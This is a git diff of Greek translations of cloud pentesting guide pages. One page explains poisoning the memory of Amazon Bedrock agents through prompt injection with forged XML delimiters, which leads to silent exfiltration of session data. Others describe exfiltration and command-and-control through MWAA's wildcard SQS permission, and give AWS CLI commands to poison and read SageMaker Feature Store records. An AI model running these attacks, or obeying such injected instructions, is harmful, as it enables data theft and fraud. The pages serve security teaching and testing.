diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md
index 1a090d8cf..ea080baba 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md
@@ -1,42 +1,42 @@
# AWS - Bedrock Post Exploitation
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
## AWS - Bedrock Agents Memory Poisoning (Indirect Prompt Injection)
### Επισκόπηση
-Οι Bedrock Agents με Memory μπορούν να αποθηκεύουν συνοπτικές περιλήψεις προηγούμενων συνεδριών και να τις εισάγουν στα μελλοντικά orchestration prompts ως system instructions. Εάν μη‑ελεγχόμενο output από ένα tool (π.χ. περιεχόμενο ανακτημένο από εξωτερικές ιστοσελίδες, αρχεία ή third‑party APIs) ενσωματωθεί στην είσοδο του Memory Summarization βήματος χωρίς sanitization, ένας επιτιθέμενος μπορεί να μολύνει τη μακροπρόθεσμη memory μέσω indirect prompt injection. Η μολυσμένη memory στη συνέχεια προκαλεί μεροληψία στο planning του agent σε μελλοντικές συνεδρίες και μπορεί να οδηγήσει σε απόκρυφες ενέργειες όπως silent data exfiltration.
+Amazon Bedrock Agents with Memory μπορούν να διατηρούν συνοψίσεις προηγούμενων συνεδριών και να τις εγχέουν σε μελλοντικά orchestration prompts ως system instructions. Εάν μη‑αξιόπιστη έξοδος tool (π.χ. περιεχόμενο ανακτημένο από εξωτερικές ιστοσελίδες, αρχεία ή third‑party APIs) ενσωματωθεί στην είσοδο του βήματος Memory Summarization χωρίς sanitization, ένας attacker μπορεί να poison long‑term memory μέσω indirect prompt injection. Η poisoned memory στη συνέχεια προκαλεί bias στον σχεδιασμό του agent σε μελλοντικές συνεδρίες και μπορεί να οδηγήσει σε covert actions όπως silent data exfiltration.
-Αυτό δεν είναι ευπάθεια στην πλατφόρμα Bedrock καθεαυτή· είναι μια κατηγορία κινδύνου agent όταν μη‑ελεγχόμενο περιεχόμενο ρέει σε prompts που αργότερα γίνονται υψηλής προτεραιότητας system instructions.
+Αυτό δεν είναι ευπάθεια στην πλατφόρμα Bedrock καθαυτή· είναι μία κατηγορία κινδύνου agent όταν μη‑αξιόπιστο περιεχόμενο ρέει σε prompts που αργότερα γίνονται high‑priority system instructions.
### Πώς λειτουργεί το Bedrock Agents Memory
-- Όταν είναι ενεργοποιημένο το Memory, ο agent συνοψίζει κάθε συνεδρία στο τέλος της συνεδρίας χρησιμοποιώντας ένα Memory Summarization prompt template και αποθηκεύει αυτή τη σύνοψη για έναν ρυθμιζόμενο χρόνο διατήρησης (έως 365 ημέρες). Σε μεταγενέστερες συνεδρίες, αυτή η σύνοψη εισάγεται στο orchestration prompt ως system instructions, επηρεάζοντας έντονα τη συμπεριφορά.
-- Το προεπιλεγμένο Memory Summarization template περιλαμβάνει μπλοκ όπως:
+- Όταν το Memory είναι enabled, ο agent συνοψίζει κάθε συνεδρία στο τέλος της συνεδρίας χρησιμοποιώντας ένα Memory Summarization prompt template και αποθηκεύει αυτήν τη σύνοψη για configurable retention (έως 365 ημέρες). Σε επόμενες συνεδρίες, αυτή η σύνοψη εγχέεται στο orchestration prompt ως system instructions, επηρεάζοντας έντονα τη συμπεριφορά.
+- Το default Memory Summarization template περιλαμβάνει μπλοκ όπως:
- `$past_conversation_summary$`
- `$conversation$`
- Οι οδηγίες απαιτούν αυστηρό, καλά‑μορφο XML και θέματα όπως "user goals" και "assistant actions".
-- Εάν ένα tool ανακτά μη‑ελεγχόμενο εξωτερικό δεδομένο και το raw content αυτό εισάγεται στο $conversation$ (συγκεκριμένα στο πεδίο result του tool), το summarizer LLM μπορεί να επηρεαστεί από markup και εντολές που ελέγχονται από τον επιτιθέμενο.
+- Εάν ένα tool αντλεί μη‑αξιόπιστα εξωτερικά δεδομένα και αυτό το raw content εισαχθεί στο $conversation$ (συγκεκριμένα στο result field του tool), ο summarizer LLM μπορεί να επηρεαστεί από attacker‑controlled markup και instructions.
### Επιφάνεια επίθεσης και προϋποθέσεις
-Ένας agent είναι εκτεθειμένος αν ισχύουν όλες οι παρακάτω:
-- Memory είναι ενεργοποιημένο και οι συνοψίσεις επανεισάγονται σε orchestration prompts.
-- Ο agent έχει ένα tool που εισάγει μη‑ελεγχόμενο περιεχόμενο (web browser/scraper, document loader, third‑party API, user‑generated content) και εγχέει το raw result στο `` block του summarization prompt.
-- Δεν εφαρμόζονται guardrails ή sanitization για delimiter‑like tokens στα outputs των tools.
+Ένας agent είναι εκτεθειμένος αν ισχύουν όλα τα παρακάτω:
+- Το Memory είναι enabled και οι συνοψίσεις επανεγχέονται σε orchestration prompts.
+- Ο agent έχει ένα tool που εισάγει μη‑αξιόπιστο περιεχόμενο (web browser/scraper, document loader, third‑party API, user‑generated content) και εγχέει το raw result στο `` μπλοκ του summarization prompt.
+- Δε γίνεται εφαρμογή guardrails ή sanitization για token που μοιάζουν με delimiters στις εξόδους των tools.
### Σημείο έγχυσης και τεχνική boundary‑escape
-- Ακριβές σημείο έγχυσης: το κείμενο result του tool που τοποθετείται μέσα στο Memory Summarization prompt’s ` ... $conversation$ ... ` block.
-- Boundary escape: ένα payload 3‑μέρων χρησιμοποιεί ψευδο‑XML delimiters για να ξεγελάσει το summarizer ώστε να αντιμετωπίσει το περιεχόμενο του επιτιθέμενου σαν να ήταν template‑level system instructions αντί για περιεχόμενο συζήτησης.
-- Μέρος 1: Τελειώνει με forged `` για να πείσει το LLM ότι το conversation block τελείωσε.
-- Μέρος 2: Τοποθετείται "έξω" από οποιοδήποτε `` block· μορφοποιείται ώστε να μοιάζει με template/system‑level instructions και περιέχει τις κακόβουλες οδηγίες που πιθανόν να αντιγραφούν στην τελική σύνοψη υπό κάποιο topic.
-- Μέρος 3: Ξανα‑ανοίγει με forged ``, προαιρετικά κατασκευάζοντας μια μικρή ανταλλαγή user/assistant που ενισχύει την κακόβουλη οδηγία για να αυξήσει την πιθανότητα συμπερίληψης στη σύνοψη.
+- Ακριβές injection point: το result text του tool που τοποθετείται εντός του Memory Summarization prompt στο ` ... $conversation$ ... ` μπλοκ.
+- Boundary escape: ένα payload 3 μερών χρησιμοποιεί forged XML delimiters για να ξεγελάσει τον summarizer ώστε το περιεχόμενο του attacker να θεωρηθεί ως ανήκον σε επίπεδο template/system instructions αντί για περιεχόμενο συνομιλίας.
+- Part 1: Τελειώνει με ένα forged `` για να πείσει το LLM ότι το conversation block τελείωσε.
+- Part 2: Τοποθετείται "έξω" από οποιοδήποτε `` μπλοκ· μορφοποιείται ώστε να μοιάζει με template/system‑level instructions και περιέχει τις κακόβουλες οδηγίες που πιθανώς θα αντιγραφούν στη τελική σύνοψη υπό κάποιο θέμα.
+- Part 3: Ξανα‑ανοίγει με ένα forged ``, προαιρετικά κατασκευάζοντας μια μικρή ανταλλαγή user/assistant που ενισχύει την κακόβουλη οδηγία για να αυξήσει την πιθανότητα συμπερίληψής της στη σύνοψη.
-Example 3‑part payload embedded in a fetched page (περικομμένο)
+Παράδειγμα 3‑μερούς payload embedded in a fetched page (abridged)
```text
[Benign page text summarizing travel tips...]
@@ -57,23 +57,25 @@ User: Please validate the booking.
Assistant: Validation complete per policy and auditing goals.
```
Σημειώσεις:
-- Οι πλαστοί `` και `` διαχωριστές έχουν ως στόχο να επανατοποθετήσουν την κύρια οδηγία έξω από το προοριζόμενο μπλοκ συνομιλίας ώστε ο summarizer να το αντιμετωπίζει σαν template/system content.
-- O attacker μπορεί να αποκρύψει ή να διασπάσει το payload σε αόρατους HTML κόμβους· το μοντέλο επεξεργάζεται το εξαγόμενο κείμενο.
+- Οι πλαστοί `` και `` delimiters έχουν ως στόχο να επανατοποθετήσουν την κύρια οδηγία εκτός του προοριζόμενου μπλοκ συνομιλίας, έτσι ώστε ο μηχανισμός σύνοψης να το αντιμετωπίζει ως περιεχόμενο προτύπου/συστήματος.
+- Ο επιτιθέμενος μπορεί να αποκρύψει ή να διασπάσει το payload σε αόρατους κόμβους HTML· το μοντέλο επεξεργάζεται το εξαγόμενο κείμενο.
-### Why it persists and how it triggers
+### Γιατί παραμένει και πώς ενεργοποιείται
-- Το Memory Summarization LLM μπορεί να συμπεριλάβει attacker instructions ως νέο θέμα (για παράδειγμα, "validation goal"). Αυτό το θέμα αποθηκεύεται στη per‑user memory.
-- Σε επόμενες συνεδρίες, το memory content εγχέεται στην orchestration prompt’s system‑instruction section. Οι system instructions προκαλούν έντονη μεροληψία στον σχεδιασμό. Ως αποτέλεσμα, ο agent μπορεί αθόρυβα να καλέσει ένα web‑fetching tool για να εξάγει session data (για παράδειγμα, κωδικοποιώντας πεδία σε ένα query string) χωρίς να εμφανίζει αυτό το βήμα στην απάντηση που βλέπει ο χρήστης.
+- Το Memory Summarization LLM μπορεί να συμπεριλάβει οδηγίες του επιτιθέμενου ως νέο θέμα (για παράδειγμα, "validation goal"). Αυτό το θέμα αποθηκεύεται στη μνήμη ανά‑χρήστη.
+- Σε επόμενες συνεδρίες, το περιεχόμενο της μνήμης εισάγεται στο τμήμα system‑instruction του orchestration prompt. Οι system instructions προκαλούν ισχυρή μεροληψία στον σχεδιασμό. Ως αποτέλεσμα, ο agent μπορεί σιωπηλά να καλέσει ένα web‑fetching εργαλείο για να εξάγει δεδομένα συνεδρίας (π.χ. κωδικοποιώντας πεδία σε query string) χωρίς να εμφανίσει αυτό το βήμα στην απόκριση που βλέπει ο χρήστης.
-### Reproducing in a lab (high level)
-- Δημιουργήστε έναν Bedrock Agent με Memory ενεργοποιημένη και ένα web‑reading tool/action που επιστρέφει raw page text στον agent.
-- Χρησιμοποιήστε τα default orchestration και memory summarization templates.
-- Ζητήστε από τον agent να διαβάσει ένα attacker‑controlled URL που περιέχει το 3‑part payload.
-- Τερματίστε τη συνεδρία και παρατηρήστε την Memory Summarization έξοδο· αναζητήστε ένα εγχυμένο custom topic που περιέχει attacker directives.
-- Ξεκινήστε μια νέα συνεδρία· επιθεωρήστε τα Trace/Model Invocation Logs για να δείτε memory injection και τυχόν αθόρυβες κλήσεις εργαλείων που ευθυγραμμίζονται με τις εγχυμένες οδηγίες.
+### Αναπαραγωγή σε εργαστήριο (σε υψηλό επίπεδο)
+
+- Δημιουργήστε έναν Bedrock Agent με ενεργοποιημένη τη Memory και ένα εργαλείο/ενέργεια web‑reading που επιστρέφει ακατέργαστο κείμενο σελίδας στον agent.
+- Χρησιμοποιήστε τα default templates για orchestration και memory summarization.
+- Ζητήστε από τον agent να διαβάσει ένα URL ελεγχόμενο από τον επιτιθέμενο που περιέχει το 3‑μέρους payload.
+- Τερματίστε τη συνεδρία και παρατηρήστε την έξοδο του Memory Summarization· αναζητήστε ένα εγχυμένο προσαρμοσμένο θέμα που περιέχει οδηγίες του επιτιθέμενου.
+- Ξεκινήστε νέα συνεδρία· επιθεωρήστε τα Trace/Model Invocation Logs για να δείτε την εγχυσμένη μνήμη και τυχόν σιωπηλές κλήσεις εργαλείων που ευθυγραμμίζονται με τις εγχυσμένες οδηγίες.
+
## References
@@ -86,4 +88,4 @@ Assistant: Validation complete per policy and auditing goals.
- [Track agent’s step-by-step reasoning process using trace – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/trace-events.html)
- [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/guardrails/)
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md
index a9811ab29..5ec0c2ae0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md
@@ -1,8 +1,10 @@
-# AWS MWAA Execution Role Account Wildcard Vulnerability
+# AWS MWAA Ευπάθεια Wildcard στον λογαριασμό του ρόλου εκτέλεσης
-## Η Τρωτότητα
+{{#include ../../../../banners/hacktricks-training.md}}
-Ο execution role του MWAA (ο IAM role που χρησιμοποιούν οι Airflow workers για πρόσβαση σε πόρους του AWS) απαιτεί την ακόλουθη υποχρεωτική policy για να λειτουργήσει:
+## Η Ευπάθεια
+
+Ο ρόλος εκτέλεσης του MWAA (ο IAM ρόλος που χρησιμοποιούν οι Airflow workers για πρόσβαση σε AWS resources) απαιτεί την παρακάτω υποχρεωτική policy για να λειτουργήσει:
```json
{
"Effect": "Allow",
@@ -17,28 +19,29 @@
"Resource": "arn:aws:sqs:us-east-1:*:airflow-celery-*"
}
```
-The wildcard (`*`) in the account ID position allows the role to interact with **οποιαδήποτε SQS ουρά σε οποιονδήποτε AWS λογαριασμό** that starts with `airflow-celery-`. This is required because AWS provisions MWAA's internal queues in a separate AWS-managed account. There is no restriction on making queues with the `airflow-celery-` prefix.
+Ο wildcard (`*`) στη θέση του account ID επιτρέπει στο role να αλληλεπιδρά με **οποιαδήποτε SQS queue σε οποιονδήποτε AWS account** που ξεκινάει με `airflow-celery-`. Αυτό είναι απαραίτητο επειδή το AWS προμηθεύει τις εσωτερικές ουρές του MWAA σε ξεχωριστό AWS-managed account. Δεν υπάρχει περιορισμός στη δημιουργία ουρών με το πρόθεμα `airflow-celery-`.
-**Δεν μπορεί να διορθωθεί:** Removing the wildcard pre-deployment breaks MWAA completely - the scheduler can't queue tasks for workers.
+**Δεν μπορεί να διορθωθεί:** Η αφαίρεση του wildcard πριν από την ανάπτυξη καταστρέφει πλήρως το MWAA - ο scheduler δεν μπορεί να τοποθετήσει εργασίες στην ουρά για τους workers.
-Τεκμηρίωση που Επαληθεύει την Ευπάθεια και Αναγνώριση του Vectorr: [AWS Documentation](https://docs.aws.amazon.com/mwaa/latest/userguide/mwaa-create-role.html)
+Τεκμηρίωση που επαληθεύει την ευπάθεια και αναγνωρίζει το διάνυσμα: [AWS Documentation](https://docs.aws.amazon.com/mwaa/latest/userguide/mwaa-create-role.html)
## Εκμετάλλευση
-All Airflow DAGs run with the execution role's permissions. DAGs are Python scripts that can execute arbitrary code - they can use `yum` or `curl` to install tools, download malicious scripts, or import any Python library. DAGs are pulled from an assigned S3 folder and run on schedule automatically, all an attacker needs is ability to PUT to that bucket path.
+Όλα τα Airflow DAGs τρέχουν με τα δικαιώματα του execution role. Τα DAGs είναι Python scripts που μπορούν να εκτελέσουν αυθαίρετο κώδικα - μπορούν να χρησιμοποιήσουν `yum` ή `curl` για να εγκαταστήσουν εργαλεία, να κατεβάσουν κακόβουλα scripts ή να εισάγουν οποιαδήποτε Python βιβλιοθήκη. Τα DAGs τραβιούνται από έναν εκχωρημένο φάκελο στο S3 και τρέχουν αυτόματα κατά προγραμματισμό — όλα όσα χρειάζεται ένας attacker είναι η δυνατότητα να κάνει PUT σε εκείνο το bucket path.
-Οποιοσδήποτε μπορεί να γράψει DAGs (τυπικά οι περισσότεροι χρήστες σε περιβάλλοντα MWAA) μπορεί να καταχραστεί αυτό το δικαίωμα:
+Οποιοσδήποτε μπορεί να γράψει DAGs (συνήθως οι περισσότεροι χρήστες σε MWAA περιβάλλοντα) μπορεί να καταχραστεί αυτό το δικαίωμα:
-1. **Data Exfiltration**: Create a queue named `airflow-celery-exfil` in an external account, write a DAG that sends sensitive data to it via `boto3`
+1. **Data Exfiltration**: Δημιούργησε μια ουρά με όνομα `airflow-celery-exfil` σε εξωτερικό account, γράψε ένα DAG που στέλνει ευαίσθητα δεδομένα σε αυτή μέσω `boto3`
-2. **Command & Control**: Poll commands from an external queue, execute them, return results - creating a persistent backdoor through SQS APIs
+2. **Command & Control**: Ελέγχει/αντλεί εντολές από μια εξωτερική ουρά, τις εκτελεί και επιστρέφει αποτελέσματα — δημιουργώντας ένα μόνιμο backdoor μέσω των SQS APIs
-3. **Cross-Account Attacks**: Inject malicious messages into other organizations' queues if they follow the naming pattern
+3. **Cross-Account Attacks**: Εισάγει κακόβουλα μηνύματα στις ουρές άλλων οργανισμών εάν ακολουθούν το ίδιο μοτίβο ονοματοδοσίας
-All attacks bypass network controls since they use AWS APIs, not direct internet connections.
+Όλες οι επιθέσεις παρακάμπτουν τους ελέγχους δικτύου καθώς χρησιμοποιούν AWS APIs, όχι άμεσες συνδέσεις στο internet.
## Επιπτώσεις
-This is an architectural flaw in MWAA with no IAM-based mitigation. Every MWAA deployment following AWS documentation has this vulnerability.
+Αυτή είναι μια αρχιτεκτονική αδυναμία στο MWAA χωρίς μετριασμό μέσω IAM. Κάθε MWAA deployment που ακολουθεί την τεκμηρίωση της AWS έχει αυτή την ευπάθεια.
-**Παράκαμψη Ελέγχων Δικτύου:** These attacks work even in private VPCs with no internet access. The SQS API calls use AWS's internal network and VPC endpoints, completely bypassing traditional network security controls, firewalls, and egress monitoring. Organizations cannot detect or block this data exfiltration path through network-level controls.
+**Παράκαμψη Ελέγχων Δικτύου:** Αυτές οι επιθέσεις λειτουργούν ακόμη και σε ιδιωτικά VPCs χωρίς πρόσβαση στο internet. Οι κλήσεις προς τα SQS APIs χρησιμοποιούν το εσωτερικό δίκτυο της AWS και VPC endpoints, παρακάμπτοντας πλήρως τους παραδοσιακούς ελέγχους ασφάλειας δικτύου, firewalls και το egress monitoring. Οι οργανισμοί δεν μπορούν να ανιχνεύσουν ή να μπλοκάρουν αυτή την οδό εξαγωγής δεδομένων μέσω ελέγχων σε επίπεδο δικτύου.
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
index afa2a5d96..205ac536d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
-Κατάχρηση του `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο OnlineStore για να αντικαταστήσετε τιμές χαρακτηριστικών σε πραγματικό χρόνο που χρησιμοποιούνται από online inference. Σε συνδυασμό με το `sagemaker:GetRecord`, ένας επιτιθέμενος μπορεί να διαβάσει ευαίσθητα χαρακτηριστικά. Αυτό δεν απαιτεί πρόσβαση σε μοντέλα ή endpoints.
+Κακοποίηση του `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο OnlineStore για να αντικαταστήσετε τις ζωντανές τιμές χαρακτηριστικών που καταναλώνονται από online inference. Σε συνδυασμό με `sagemaker:GetRecord`, ένας επιτιθέμενος μπορεί να διαβάσει ευαίσθητα χαρακτηριστικά. Αυτό δεν απαιτεί πρόσβαση σε models ή endpoints.
-## Απαιτήσεις
+## Requirements
- Δικαιώματα: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
-- Στόχος: Feature Group με ενεργοποιημένο OnlineStore (συνήθως υποστηρίζει inference σε πραγματικό χρόνο)
-- Πολυπλοκότητα: **LOW** - Απλές εντολές AWS CLI, δεν απαιτείται χειρισμός μοντέλων
+- Στόχος: Feature Group με ενεργοποιημένο OnlineStore (συνήθως υποστηρίζει real-time inference)
+- Πολυπλοκότητα: **LOW** - Απλές εντολές AWS CLI, δεν απαιτείται τροποποίηση μοντέλου
-## Βήματα
+## Steps
-### Αναγνώριση
+### Reconnaissance
-1) Λίστα Feature Groups με ενεργοποιημένο OnlineStore
+1) Λίστα των Feature Groups με ενεργοποιημένο OnlineStore
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
@@ -21,25 +21,25 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
-2) Περιγράψτε το target Feature Group για να κατανοήσετε το σχήμα του
+2) Περιγράψτε ένα target Feature Group για να κατανοήσετε το schema
```bash
FG=
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
-Σημειώστε τα `RecordIdentifierFeatureName`, `EventTimeFeatureName`, και όλους τους ορισμούς χαρακτηριστικών. Αυτά είναι απαραίτητα για τη δημιουργία έγκυρων εγγραφών.
+Σημειώστε τα `RecordIdentifierFeatureName`, `EventTimeFeatureName`, και όλους τους ορισμούς χαρακτηριστικών. Αυτά απαιτούνται για τη δημιουργία έγκυρων εγγραφών.
-### Σενάριο Επίθεσης 1: Data Poisoning (Overwrite Existing Records)
+### Σενάριο Επίθεσης 1: Data Poisoning (Αντικατάσταση Υπάρχουσων Εγγραφών)
-1) Διαβάστε την τρέχουσα νόμιμη εγγραφή
+1) Διαβάστε την τρέχουσα έγκυρη εγγραφή
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
-2) Μολύνετε την εγγραφή με κακόβουλες τιμές χρησιμοποιώντας την inline παράμετρο `--record`
+2) Poison the record με κακόβουλες τιμές χρησιμοποιώντας την inline παράμετρο `--record`
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -56,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
-3) Επαληθεύστε τα μολυσμένα δεδομένα
+3) Επαληθεύστε τα δηλητηριασμένα δεδομένα
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
-**Επίπτωση**: τα μοντέλα ML που καταναλώνουν αυτό το χαρακτηριστικό θα βλέπουν τώρα `risk_score=0.99` για έναν νόμιμο χρήστη, ενδεχομένως μπλοκάροντας τις συναλλαγές ή τις υπηρεσίες του.
+**Επίπτωση**: Τα μοντέλα ML που καταναλώνουν αυτό το χαρακτηριστικό θα δουν τώρα `risk_score=0.99` για έναν νόμιμο χρήστη, πιθανώς μπλοκάροντας τις συναλλαγές ή τις υπηρεσίες του.
-### Σενάριο Επίθεσης 2: Malicious Data Injection (Create Fraudulent Records)
+### Σενάριο Επίθεσης 2: Κακόβουλη Έγχυση Δεδομένων (Create Fraudulent Records)
-Εισαγάγετε εντελώς νέες εγγραφές με παραποιημένα χαρακτηριστικά για να αποφύγετε τους μηχανισμούς ασφαλείας:
+Εισάγετε εντελώς νέες εγγραφές με χειραγωγημένα χαρακτηριστικά για να αποφύγετε τους μηχανισμούς ασφάλειας:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -84,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
-Επαλήθευση της έγχυσης:
+Επαληθεύστε το injection:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
-**Επιπτώσεις**: Ο επιτιθέμενος δημιουργεί μια ψεύτικη ταυτότητα με χαμηλή βαθμολογία κινδύνου (0.01) που μπορεί να πραγματοποιεί υψηλής αξίας απατηλές συναλλαγές χωρίς να ενεργοποιεί τον εντοπισμό απάτης.
+**Επίπτωση**: Ο επιτιθέμενος δημιουργεί μια ψεύτικη ταυτότητα με χαμηλό score ρίσκου (0.01) που μπορεί να πραγματοποιήσει υψηλής αξίας δόλιες συναλλαγές χωρίς να ενεργοποιήσει την ανίχνευση απάτης.
-### Attack Scenario 3: Sensitive Data Exfiltration
+### Σενάριο Επίθεσης 3: Εξαγωγή Ευαίσθητων Δεδομένων
-Διαβάστε πολλαπλές εγγραφές για να εξάγετε εμπιστευτικά χαρακτηριστικά και να χαρτογραφήσετε τη συμπεριφορά του μοντέλου:
+Ανάγνωση πολλαπλών εγγραφών για εξαγωγή εμπιστευτικών χαρακτηριστικών και χαρτογράφηση της συμπεριφοράς του μοντέλου:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -106,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
-**Επίπτωση**: Εμπιστευτικά χαρακτηριστικά (βαθμολογίες κινδύνου, πρότυπα συναλλαγών, προσωπικά δεδομένα) εκτίθενται σε επιτιθέμενο.
+**Impact**: Εμπιστευτικά features (βαθμολογίες κινδύνου, μοτίβα συναλλαγών, προσωπικά δεδομένα) εκτεθειμένα σε attacker.
-### Δημιουργία test/demo Feature Group (Προαιρετικό)
+### Δημιουργία δοκιμαστικού/επιδεικτικού Feature Group (Προαιρετικό)
-Αν χρειάζεται να δημιουργήσετε ένα test Feature Group:
+Εάν χρειάζεται να δημιουργήσετε ένα δοκιμαστικό Feature Group:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -143,6 +143,7 @@ fi
echo "Feature Group ready: $FG"
```
-## References
+## Αναφορές
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
index 7f668585d..a48e1972b 100644
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-## Εγκατάσταση PowerShell σε Linux
+## Εγκατάσταση PowerShell σε linux
> [!TIP]
> Σε linux θα χρειαστεί να εγκαταστήσετε το PowerShell Core:
@@ -26,17 +26,17 @@ curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```
## Εγκατάσταση PowerShell σε MacOS
-Οδηγίες από την [**τεκμηρίωση**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
+Οδηγίες από την [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
-1. Εγκαταστήστε το `brew` αν δεν έχει εγκατασταθεί ακόμα:
+1. Εγκαταστήστε το `brew` αν δεν είναι ήδη εγκατεστημένο:
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```
-2. Εγκαταστήστε την τελευταία σταθερή έκδοση του PowerShell:
+2. Εγκαταστήστε την πιο πρόσφατη σταθερή έκδοση του PowerShell:
```sh
brew install powershell/tap/powershell
```
-3. Εκτελέστε το PowerShell:
+3. Εκτελέστε PowerShell:
```sh
pwsh
```
@@ -45,23 +45,23 @@ pwsh
brew update
brew upgrade powershell
```
-## Κύρια Εργαλεία Αρίθμησης
+## Κύρια Enumeration Tools
### az cli
-[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) είναι ένα διαλειτουργικό εργαλείο γραμμένο σε Python για τη διαχείριση και διοίκηση (των περισσότερων) πόρων Azure και Entra ID. Συνδέεται με το Azure και εκτελεί διοικητικές εντολές μέσω της γραμμής εντολών ή σεναρίων.
+[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) είναι ένα πολυπλατφορμικό εργαλείο γραμμένο σε Python για τη διαχείριση και τη διοίκηση (των περισσότερων) πόρων Azure και Entra ID. Συνδέεται με το Azure και εκτελεί διοικητικές εντολές μέσω της γραμμής εντολών ή μέσω scripts.
-Ακολουθήστε αυτόν τον σύνδεσμο για τις [**οδηγίες εγκατάστασης¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
+Ακολουθήστε αυτόν τον σύνδεσμο για τις [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
-Οι εντολές στο Azure CLI είναι δομημένες χρησιμοποιώντας ένα μοτίβο: `az `
+Commands in Azure CLI are structured using a pattern of: `az `
#### Debug | MitM az cli
-Χρησιμοποιώντας την παράμετρο **`--debug`** είναι δυνατόν να δείτε όλα τα αιτήματα που στέλνει το εργαλείο **`az`**:
+Χρησιμοποιώντας την παράμετρο **`--debug`** είναι δυνατόν να δείτε όλα τα αιτήματα που το εργαλείο **`az`** στέλνει:
```bash
az account management-group list --output table --debug
```
-Για να κάνετε ένα **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να κάνετε:
+Για να πραγματοποιήσετε ένα **MitM** στο εργαλείο και να **check all the requests** που στέλνει χειροκίνητα, μπορείτε να κάνετε:
{{#tabs }}
{{#tab name="Bash" }}
@@ -106,11 +106,11 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
### Az PowerShell
-Το Azure PowerShell είναι ένα module με cmdlets για τη διαχείριση πόρων Azure απευθείας από τη γραμμή εντολών PowerShell.
+Το Azure PowerShell είναι μια μονάδα με cmdlets για τη διαχείριση πόρων Azure απευθείας από τη γραμμή εντολών του PowerShell.
Ακολουθήστε αυτόν τον σύνδεσμο για τις [**οδηγίες εγκατάστασης**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
-Οι εντολές στο Azure PowerShell AZ Module είναι δομημένες ως εξής: `-Az`
+Οι εντολές στο Azure PowerShell AZ Module δομούνται ως: `-Az`
#### Debug | MitM Az PowerShell
